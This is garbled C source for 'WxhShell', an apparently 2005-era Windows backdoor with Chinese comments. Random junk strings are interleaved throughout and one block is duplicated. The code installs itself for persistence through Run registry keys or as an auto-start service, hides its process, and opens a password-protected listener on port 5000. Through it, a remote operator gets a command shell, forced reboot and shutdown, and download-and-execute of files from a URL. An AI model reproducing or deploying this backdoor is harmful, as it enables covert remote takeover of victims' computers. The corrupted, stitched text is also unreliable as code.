(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PzDekyl NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); },G5!3 Bgj^n{9x if (!NtQueryInformationProcess) return 0; t5WW3$Nf TW}nO|qw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q*4=sf,> if(!hProcess) return 0; La'XJ|>V Qc]Ki3ls if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x\R
8W8M N1i%b,:3 CloseHandle(hProcess); CQm(N zU,Qph
,< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^8eu+E.{ if(hProcess==NULL) return 0; Rz9IjL.Z f&
>[$zh HMODULE hMod;
h"DxgG char procName[255];
V
t@] unsigned long cbNeeded; z8\z`#g! "WE*ED if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sr?2~R0& %ryYa CloseHandle(hProcess); wXnluE 1z$K54Mj if(strstr(procName,"services")) return 1; // 以服务启动 Zw<\^1 U}2b{ return 0; // 注册表启动 m]#oZVngy } U^.kp#x# j!<(` // 主模块 rsgTd\b int StartWxhshell(LPSTR lpCmdLine) zLda+ { W2F *+M SOCKET wsl; .P^&sl*J BOOL val=TRUE; AeN$AqQd/ int port=0; -\V!f6Q struct sockaddr_in door; `}Z`aK 2jiH&'@ if(wscfg.ws_autoins) Install(); M6o"|\ LaCVI port=atoi(lpCmdLine); 3q*p#l~ `!A<XiAOmM if(port<=0) port=wscfg.ws_port; r(VznKSx vlS+UFH0 WSADATA data; GLE/ 1 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M\rZr3 o3OtG#g2 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6(0ME$ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }s++^uX6 door.sin_family = AF_INET; g/f^|: door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3yw`%$d5 door.sin_port = htons(port); {|D7H=f Qf#=Y j if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gql^Inx< closesocket(wsl); D@
4sq^|2 return 1; zz_(*0,Qcr } EwX:^1f :.bBV]6q if(listen(wsl,2) == INVALID_SOCKET) { ews{0 closesocket(wsl);
V
krjs0 return 1;
#m;|QWW } sRKoM Wxhshell(wsl); ,|G~PC8 WSACleanup(); H05xt$J ' |Ia-RbX return 0; G'IRqO*] 3K{G =WE$ } :F`-<x/ KzWqHq // 以NT服务方式启动 9L7jYy=A# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R.P|gk { yp
l`vJ]X DWORD status = 0; PDNbhUAV DWORD specificError = 0xfffffff; XkRPD 6O\a\z serviceStatus.dwServiceType = SERVICE_WIN32; o/4U`U)Q0v serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7Q>bJ Ek7 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bSgdVP- serviceStatus.dwWin32ExitCode = 0;
ow2tfylV serviceStatus.dwServiceSpecificExitCode = 0; :TkR]bhm serviceStatus.dwCheckPoint = 0; ZZ2vdy38 serviceStatus.dwWaitHint = 0; .{,fb m4x8W2q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ni~1)"U. if (hServiceStatusHandle==0) return; '1vm]+oM Gph:'3
*X status = GetLastError(); 1WUlBr/k if (status!=NO_ERROR) ":W$$w< { oxZXY]$y serviceStatus.dwCurrentState = SERVICE_STOPPED; SbK6o:[ serviceStatus.dwCheckPoint = 0; /ei(Q'pc[ serviceStatus.dwWaitHint = 0; \#7@"~< serviceStatus.dwWin32ExitCode = status; n@_aTY serviceStatus.dwServiceSpecificExitCode = specificError; [5i}C
K_= SetServiceStatus(hServiceStatusHandle, &serviceStatus); n7VQi+i' return; hp3
<HUU } S'}pUGDO #,CK;h9jy! serviceStatus.dwCurrentState = SERVICE_RUNNING; e+O502] serviceStatus.dwCheckPoint = 0; `"h[Xb#A`b serviceStatus.dwWaitHint = 0; EZJ[+ -Q; if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,~*pPhQ8m } 'dJ(x "1z#6vw5a // 处理NT服务事件,比如:启动、停止
[yx8?5 VOID WINAPI NTServiceHandler(DWORD fdwControl) JIU8~D { GZzBATx switch(fdwControl) AQjf\i { l|sC\;S case SERVICE_CONTROL_STOP: R
"qt}4m serviceStatus.dwWin32ExitCode = 0; Dks"(0g serviceStatus.dwCurrentState = SERVICE_STOPPED; VI k]`)# serviceStatus.dwCheckPoint = 0; \\Te\l|L serviceStatus.dwWaitHint = 0; :CGh$d] + { Wxa</n8S[n SetServiceStatus(hServiceStatusHandle, &serviceStatus); sUz,F8G } 'cPE7uNT return; W*~[KdgC case SERVICE_CONTROL_PAUSE: .f-s+J&ED serviceStatus.dwCurrentState = SERVICE_PAUSED; BPd *@l break; E~
+g6YlT case SERVICE_CONTROL_CONTINUE: k]=lo'bF4 serviceStatus.dwCurrentState = SERVICE_RUNNING; (d*~Qpi{7 break; B\\M%!a> case SERVICE_CONTROL_INTERROGATE: SYA0Hiw7P break;
;(
[^+_/ }; bkS-[rW SetServiceStatus(hServiceStatusHandle, &serviceStatus); v,Uu)Z
} dmPAPCm%y eOZ"kw"uHu // 标准应用程序主函数 pM}n)Q!{3" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^\g?uH6k U { Y3g<%6 6kHuKxY, // 获取操作系统版本 NX8.
\Pf# OsIsNt=GetOsVer(); r1[#_A`Yn GetModuleFileName(NULL,ExeFile,MAX_PATH); 1s-=zs l,ic-Y1 // 从命令行安装 .TO#\!KBv if(strpbrk(lpCmdLine,"iI")) Install(); GP0}I@>? d@ef+- // 下载执行文件 >0S(se$ if(wscfg.ws_downexe) { D2'J( if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z =C<@ki` WinExec(wscfg.ws_filenam,SW_HIDE); ZVDi;
} >6gduD!6I "0m\y+%8 if(!OsIsNt) { [/U5M>#n // 如果时win9x,隐藏进程并且设置为注册表启动 l4AXjq2 HideProc(); Bpp(5 StartWxhshell(lpCmdLine); 4F,RlKHBl } kiu#THF else A'suZpL if(StartFromService()) ?OC&=} // 以服务方式启动 ne# %Gr StartServiceCtrlDispatcher(DispatchTable); zO((FQ else :nS p
// 普通方式启动 y$+_9VzYB StartWxhshell(lpCmdLine); #YK=e&da YLp#z8 1e return 0; 3w8v.J8q } o$Z]qhq /;WFRp. xG|lmYt76 %";ap8J04F =========================================== t:%u4\nZ; __i))2 smPZ%P}P+c R:U!HE8j yH(%*-S F@1Eg " %Vhj<gN })C}'!+] #include <stdio.h> 7@Xi*Azd #include <string.h> QxiAC>%K #include <windows.h> ad`7[fI #include <winsock2.h> c. uD% #include <winsvc.h> "cGjHy\j` #include <urlmon.h> HJ!P]X_J1 rhC
x&L #pragma comment (lib, "Ws2_32.lib") d[sY]_ dj #pragma comment (lib, "urlmon.lib") s\.\z[1 ^\w!D{Y7Q #define MAX_USER 100 // 最大客户端连接数 \1oN't. #define BUF_SOCK 200 // sock buffer 90">l^HX= #define KEY_BUFF 255 // 输入 buffer 4d%QJ7y 5$c*r$t_RK #define REBOOT 0 // 重启 ,R=)^Gh{ #define SHUTDOWN 1 // 关机 ~X,ZZ 9H R@2*Lgxz~ #define DEF_PORT 5000 // 监听端口 ;&
zBNj /;`-[ #define REG_LEN 16 // 注册表键长度 \8]("l}ms8 #define SVC_LEN 80 // NT服务名长度 GhW{6.^
vO8CT-) // 从dll定义API xvW# ~T] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YRU#/TP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kI,O9z7A7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a4eE/1 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U8 n=Ro [~k!wipK // wxhshell配置信息 9Qn*frdY, struct WSCFG { }XfRKGQw int ws_port; // 监听端口 0|FQIhVuY char ws_passstr[REG_LEN]; // 口令 <Gz* 2i int ws_autoins; // 安装标记, 1=yes 0=no 43N=OFU char ws_regname[REG_LEN]; // 注册表键名 _q`f5*Z[ char ws_svcname[REG_LEN]; // 服务名 bqRO-\vO char ws_svcdisp[SVC_LEN]; // 服务显示名 H'x_}y char ws_svcdesc[SVC_LEN]; // 服务描述信息 1_z~<d
@?; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yS@xyW / int ws_downexe; // 下载执行标记, 1=yes 0=no PB!*&T'! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3.@ir"vy char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >/y+;<MZ b#:!b }; @<B$LJ|jdG ~4M?[E& // default Wxhshell configuration O:+?:aI@ struct WSCFG wscfg={DEF_PORT, IvM>z03 "xuhuanlingzhe", Yn8aTg[J 1, >{=~''d,w "Wxhshell", "@rXN"4 "Wxhshell", JvM:x y9 "WxhShell Service", MzIn~[\ "Wrsky Windows CmdShell Service", h
F *c "Please Input Your Password: ", e%KCcU 1, ?$%2\"wX~7 "http://www.wrsky.com/wxhshell.exe", N|asr, "Wxhshell.exe" AmBLZ<f; }; Fd >epvR \(ju0qFqH // 消息定义模块 Hq "l` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _hi8mo char *msg_ws_prompt="\n\r? for help\n\r#>"; D@yu2}F{IY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [u7i)fn5? char *msg_ws_ext="\n\rExit."; )%~<EJ*&Z char *msg_ws_end="\n\rQuit."; R<e ~Cb- char *msg_ws_boot="\n\rReboot..."; b!z kQ?h char *msg_ws_poff="\n\rShutdown..."; m]'P3^<{P char *msg_ws_down="\n\rSave to ";
@+!u{ N
m@UM*D char *msg_ws_err="\n\rErr!"; <>fT_ char *msg_ws_ok="\n\rOK!"; :PQvt/-'(D Mtq^6`JJ' char ExeFile[MAX_PATH]; }Bn`0;] int nUser = 0; ]McDN[h: HANDLE handles[MAX_USER]; #~6au6LMC int OsIsNt; _:VIlg
U swG!O}29OX SERVICE_STATUS serviceStatus; #>O>=#Q SERVICE_STATUS_HANDLE hServiceStatusHandle; H]VoXJ\* @JpkG%eK // 函数声明 'Sjt*2blq int Install(void); b1-'q^M int Uninstall(void); GJn ~x int DownloadFile(char *sURL, SOCKET wsh); ?m dGMf) int Boot(int flag); 3}2a3) void HideProc(void); O@sJ#i> int GetOsVer(void); c_FnJ_+ +f int Wxhshell(SOCKET wsl); }TwSSF|}3 void TalkWithClient(void *cs); </9@RO int CmdShell(SOCKET sock); 287)\FU;3 int StartFromService(void); 2t`d.s= int StartWxhshell(LPSTR lpCmdLine); ) (l=_[1Z5 L<_zQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zOA2chy4 VOID WINAPI NTServiceHandler( DWORD fdwControl ); v}BXH4 &Y Q7XlFjzcm // 数据结构和表定义 E*{_=pX SERVICE_TABLE_ENTRY DispatchTable[] = }g_\?z3gt { ::8c pUc`f {wscfg.ws_svcname, NTServiceMain}, +l(lpp>, {NULL, NULL} 5yQ\s[;o3 }; ]%Z7wF</ _X]S`e1F // 自我安装 t B Kra int Install(void) c<]~q1 { sL\W6ej char svExeFile[MAX_PATH]; w}r~Wk^dLI HKEY key; nbdjk1E`~ strcpy(svExeFile,ExeFile); 6tv-PgZ m!_*Q // 如果是win9x系统,修改注册表设为自启动 0=V
-{ if(!OsIsNt) { Vc$y^|= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <-F[q'!C1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &20}64eW% RegCloseKey(key); ":V,&o9n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Or,W2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gMUCVKGf RegCloseKey(key); qotWWe# return 0; )T!3du:M } ^2-t|E= } y]b&3& } 22FHD4 else { g~]?6;uu C] >?YR4 // 如果是NT以上系统,安装为系统服务 c!dc`R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m\e?'-(s if (schSCManager!=0) p~f=0K { vz3#.a~2 SC_HANDLE schService = CreateService C9L_`[9DO ( c[X:vDUX schSCManager, gt)wk93d> wscfg.ws_svcname, oJe`]_XZ wscfg.ws_svcdisp, aKC,{}f$m SERVICE_ALL_ACCESS, VQl(5\6O SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~NG+DyGa= SERVICE_AUTO_START, osZ]R SERVICE_ERROR_NORMAL, d34BJ< svExeFile, ?3a:ntX h NULL, <P.'r,"[ NULL, (Fs{~4T NULL, s"B+),Jod NULL, ")@#B=8+3^ NULL &l?AC%a5 );
IA680^ if (schService!=0) }va>jfy { ubUVxYD? CloseServiceHandle(schService); 'b:e8m CloseServiceHandle(schSCManager); AA<QI' 6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o4kLgY !Q strcat(svExeFile,wscfg.ws_svcname); v]V N'Hs? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C>+n>bH]L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jjV'`Vy) RegCloseKey(key); y8~OkdlN# return 0; \ZLi Y } L?[m$l!T} } M_ukG~/ CloseServiceHandle(schSCManager); !vgY3S0?rq } [LnPV2@e } 3@V?L:J :'DyZy2Fd return 1; jhm3:;Z } lr>NG,N d&NnpjH}c // 自我卸载 epiviCYC int Uninstall(void) 72sqt5C] { oPmz$]_Z HKEY key; ^+P.f[ zzf@U&x< if(!OsIsNt) { I8gNg
Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oK\zyNK RegDeleteValue(key,wscfg.ws_regname); H
d|p@$I RegCloseKey(key); s>J5.Z7"'j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dun`/QKV RegDeleteValue(key,wscfg.ws_regname); F=Bdgg9s RegCloseKey(key); z}MxMx
c4h return 0; O6G\0o } K
";Et } 01?+j%k=m/ } ^N/d`IAjv else { sjyr9AF `7=$I~` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]<^2B?} if (schSCManager!=0) hBX*02p { PMytk`<`zw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,H{9`a#+: if (schService!=0) ,'s}g,L { %nZ:)J>kz if(DeleteService(schService)!=0) { %hSQ\T<8[o CloseServiceHandle(schService); >aAM&4 CloseServiceHandle(schSCManager); G3Dg B! return 0; %LrOGr } vIRT$W' O} CloseServiceHandle(schService); qofAA!3z } e-rlk5k%f CloseServiceHandle(schSCManager); x4*
bhiu } a$=~1@ } eUy*0 %M
iv8 return 1; v@=qVwX } S9Sgd&a9 Yj@Sy // 从指定url下载文件 w-n}&f int DownloadFile(char *sURL, SOCKET wsh) +4:eb)e { GeP={lj HRESULT hr; Rge>20uTl$ char seps[]= "/"; UH MJ(.Wa- char *token; PuJ3#H
T char *file; {'M<dI$ char myURL[MAX_PATH]; r-y;"h' char myFILE[MAX_PATH]; AIg4u(j TLsF c^X strcpy(myURL,sURL); |`o|;A] token=strtok(myURL,seps); Eiu/p&ct while(token!=NULL) >=0]7k; { *\XOQWrF file=token; V[(fE=cIN~ token=strtok(NULL,seps); u
]"fwkL } h^ Cm\V hP)Zm%@0f GetCurrentDirectory(MAX_PATH,myFILE); ID_4M_G strcat(myFILE, "\\"); Mc,|C) strcat(myFILE, file); y$%oR6K7- send(wsh,myFILE,strlen(myFILE),0); %C/p+Tg send(wsh,"...",3,0); on7
n4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E4% -*n if(hr==S_OK) _z#"BN return 0; A;L
]=J else ,1{qZ(l1 return 1; ~LuGfPO^ .z gh,#= } d}Pfj=W @*eY~ // 系统电源模块 qHub+"2 int Boot(int flag) vi}16V84l { Oz6$u HANDLE hToken; Es+I]o0K TOKEN_PRIVILEGES tkp; =_`q;Tu= ?(gha if(OsIsNt) { >+J}mo=* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !An?<Sv$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }!_z\'u tkp.PrivilegeCount = 1; !\7M7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F- -g?Q^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $U?]^ if(flag==REBOOT) { h\[@J rDa if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /ugWl99.W return 0; $Y7VA } 7dY_b else { 7<)H?;~; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S'!&,Dxq^ return 0; _O}m0c } .jD!+wv{9 } Z5'^81m$o else { QQW}.>N if(flag==REBOOT) { 6]iU-k0b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[QxP9EC return 0; '!^7 *@z } OM1Z}%J else { /[_aK0U3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <KX9>e return 0; D`@a*YIq } PV#h_X<l% } HVus\s\&y% |Lg2;P7\ return 1; T*/I4" } 6#Z]yk+p gfK_g)'2U // win9x进程隐藏模块 :j`f%Vg~x void HideProc(void) nx%A s { "BT M,CB _h<rVcl!wX HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T^;b98* if ( hKernel != NULL ) v'?Smd1v
/ { In1{&sS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RVAku ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
x(HHy, FreeLibrary(hKernel); _p8u
&TZ } ke2dQ^kc4 XB!qPh. return; CtMqE+j^ } {xg=Ym) 9~`#aQG T // 获取操作系统版本 D4c'6WGb@ int GetOsVer(void) 1av#u:jy~> { }6^5mhsL OSVERSIONINFO winfo; U3_ O}X+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rSv,;v GetVersionEx(&winfo); 1Z
~C3)T= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |kh{EUE
; return 1; e'uC:O.u else =iB[sLEJ return 0; lwfS$7^P } Lp-$Ie Zq&'a_ // 客户端句柄模块 ,ASNa^7/> int Wxhshell(SOCKET wsl) Ra5 3M!>] { />E
ILPPb SOCKET wsh; b4wT3 struct sockaddr_in client; kttJTP77t DWORD myID; I)yaR+l )U|V |yem' while(nUser<MAX_USER) \dU.#^ryp { /[lEZ['^ int nSize=sizeof(client); ;76+J) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {HY3E}YJL if(wsh==INVALID_SOCKET) return 1; g%=K
rO 41=H&G& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'qEw]l if(handles[nUser]==0) Ps.xY;Y closesocket(wsh); !S&/Zp else 8y5"X"U nUser++; :vIJ>6lIR } >'Lkn2WI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u~*A-X[ p,k1*|j return 0; JAKs [@: } sg-^ oy*^ i 1w]j // 关闭 socket m{ani/bt void CloseIt(SOCKET wsh) (PH7nW7 { b]?5r)GK closesocket(wsh); 3pML+Y|ij nUser--; @TW:6v` ExitThread(0); esZhX)dS } CvRCcSJM\2 8J&9}@y // 客户端请求句柄 +C;;4s) void TalkWithClient(void *cs) !21G$[H { yuC$S&Y>! wQ+il6 SOCKET wsh=(SOCKET)cs; {q$U\y%Rq char pwd[SVC_LEN]; PW%ith1)< char cmd[KEY_BUFF]; &k| EG![ char chr[1]; 9$U>St int i,j; }\H. G "qC3%9e while (nUser < MAX_USER) { *`qI<]! 6(?@B^S>2 if(wscfg.ws_passstr) { g qORE/[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C$q-WoTM( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `}P9[HP //ZeroMemory(pwd,KEY_BUFF); nTsV>lQY, i=0; r9(c<E?,h while(i<SVC_LEN) { 3ONW u SkipPEhA // 设置超时 cEp/qzAiD% fd_set FdRead; g3vbskY| struct timeval TimeOut; NE`;=26c FD_ZERO(&FdRead); VIGLl'8p FD_SET(wsh,&FdRead); aVVE2:M TimeOut.tv_sec=8; .AX%6+o TimeOut.tv_usec=0; S+6YD0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wrCV&2CG if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aB G* ^cW{%R>XY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _u_|U pwd=chr[0]; R(y`dQy<K if(chr[0]==0xd || chr[0]==0xa) { nf_(_O= pwd=0; 2&s(:= break; N/0Q`cQ- } MD1d i++; vcy+p]6KE- } T3)m{gv0` kz#x6NXj // 如果是非法用户,关闭 socket r!>=G% if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _mQ~[}y+? } y fS 75Bn p9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q3)[
*61e send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I[ZWOi\-
; j\.pS^+ while(1) { xr)m8H @M }`nKXM ZeroMemory(cmd,KEY_BUFF); ?
zic1i c3Ig4 n0Y> // 自动支持客户端 telnet标准 5=MM^$QG j=0; Tc;BE while(j<KEY_BUFF) { uTrGb:^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5bK:sht cmd[j]=chr[0]; 79lG~BGE if(chr[0]==0xa || chr[0]==0xd) { x4_FG{AIu cmd[j]=0; 97!VH>MX break; G! ryW4 } s.}:!fBk j++; N;,N6&veK/ } 3o__tU)B
1\,wV, // 下载文件 ;{>-K8=>$ if(strstr(cmd,"http://")) { bzMs\rj\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); BA0.B0+" if(DownloadFile(cmd,wsh)) ~hA;ji|I send(wsh,msg_ws_err,strlen(msg_ws_err),0); QNm.8c$ else b{JxTT}03 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nr9cG/" } B7qiCX}pD else { nxYp9,c" p>]2o\[" switch(cmd[0]) { ,7Lu7Q I:#Es. // 帮助 J$<g"z3 case '?': { K_~SJbl send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "Q@ZS2;A break; wms8z } jG3i
)ALx // 安装 n\y%5J+ case 'i': { ;yH1vX if(Install()) ~cx/>Hu send(wsh,msg_ws_err,strlen(msg_ws_err),0); X[c8P7 else ^E8eW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nMHs5'_y break; K:eP Il{JE } N^.!l_ // 卸载 ojH-;|f case 'r': { 9WuKW*** if(Uninstall()) az]S&\i7T send(wsh,msg_ws_err,strlen(msg_ws_err),0); V+l>wMeo else -YA1Uk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r&1N8o break; 9:fVHynr } H=Yl
@ // 显示 wxhshell 所在路径 O jE wJ$$ case 'p': { <R*.T)Z 1 char svExeFile[MAX_PATH]; \ zhT1#O strcpy(svExeFile,"\n\r"); h k(2,z strcat(svExeFile,ExeFile); /r[0Dw send(wsh,svExeFile,strlen(svExeFile),0); GZXUB0W\@) break; exTpy } }n:'@} // 重启 DD"]as"# case 'b': { ut& RKr3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N:d`L+tcc if(Boot(REBOOT)) -g;iMqh# send(wsh,msg_ws_err,strlen(msg_ws_err),0); lY.FmF}k else { 9"=:\PE closesocket(wsh); 3UslVj1u ExitThread(0); *vCJTz } opte)=]J break; #XQEfa } ,hT t]w // 关机 -?2ThvT case 'd': { ~BrERUk send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5z5#_*)O if(Boot(SHUTDOWN)) TN.mNl% send(wsh,msg_ws_err,strlen(msg_ws_err),0); IObGmc else { Q;)[~p closesocket(wsh); T.`E DluG ExitThread(0); XlV#)JX } LUHj3H break; dF5EIPl;J } dE.R$SM // 获取shell &h`s:Y case 's': { zy CmdShell(wsh); pLDseEr< closesocket(wsh); k9.@S ExitThread(0); `rbTB3? break; ^0pd- n@pn } aVNRhnM // 退出 rs]%`"&= case 'x': { k_
UY^vz. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SBzJQt@Hs CloseIt(wsh); i`z1if6O break; qTj7mUk } O7g
?x3 // 离开 B~D{p t3y case 'q': { 4fT,/[k? send(wsh,msg_ws_end,strlen(msg_ws_end),0); I
^?TabL closesocket(wsh); Dwj!B;AZ_ WSACleanup(); Qo4]_,kR exit(1); re2M!m6k5 break; COH0aNp; } P6u9Ngay } 5k)QjZo } B:\\aOEj @i'RIL} // 提示信息 b^~ keQ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MRR 5j;4GK } jV2L;APCq } f=+|e"i#p Iojyku\W. return; x{6KsYEY } Dt%Gv0 i,r O3Jn // shell模块句柄 {_&'tXL int CmdShell(SOCKET sock) )r3}9J { pM],-7UM STARTUPINFO si; 29("gB ZeroMemory(&si,sizeof(si)); b#`XmB si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HY0q!.qog si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >Akrbmh5 PROCESS_INFORMATION ProcessInfo; '3TwrY?- char cmdline[]="cmd"; jd8`D6|Z CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m5m}RWZ# return 0; :)o 4fOJ8 } a\;1%2a eG&\b-% // 自身启动模式 I
L]uw int StartFromService(void) pRWEBd1U { ~QgyhJM_h= typedef struct %IrR+f+H { 2;Vss<hR4A DWORD ExitStatus; -FQ! DWORD PebBaseAddress; vT/e&8w DWORD AffinityMask; ).U\,@[A{ DWORD BasePriority; ~puXZCatN ULONG UniqueProcessId; |osu4=s| ULONG InheritedFromUniqueProcessId; aF*KY<w } PROCESS_BASIC_INFORMATION; o>WB,i^ G v:\8 PROCNTQSIP NtQueryInformationProcess; # &zM.O1Q s%M# static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; < z':_, static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ` 9;0Y NSe Huk HANDLE hProcess; ?,s]5 PROCESS_BASIC_INFORMATION pbi; n/W@H Im# 5OEo(& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (~>uFH if(NULL == hInst ) return 0; \Ui3=8( I0iTa99K g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A]0A,A0 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sX8d8d`} NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U
?iw C@x\ZG5rA if (!NtQueryInformationProcess) return 0; cp1-eR_& HQp \0NC] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CzMCd
~*7R if(!hProcess) return 0; JJ:p A_uX j1zrjhXI if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aE|'%72g 4^r4O# CloseHandle(hProcess); LTZ8Eu z*V 8l* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @%lkRU) if(hProcess==NULL) return 0; yv[3&E? N5PW] HMODULE hMod; G]]"Jc char procName[255]; ^fiJxU unsigned long cbNeeded; yj$$k~@ ai7R@~O:_k if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w"`Zf7a{/ SFu]*II;{ CloseHandle(hProcess); ,`Keqfx &Fiesi!tET if(strstr(procName,"services")) return 1; // 以服务启动 _:N= 8Y]% S9. return 0; // 注册表启动 ^4b;rLfk@ } {MRXKnm;e 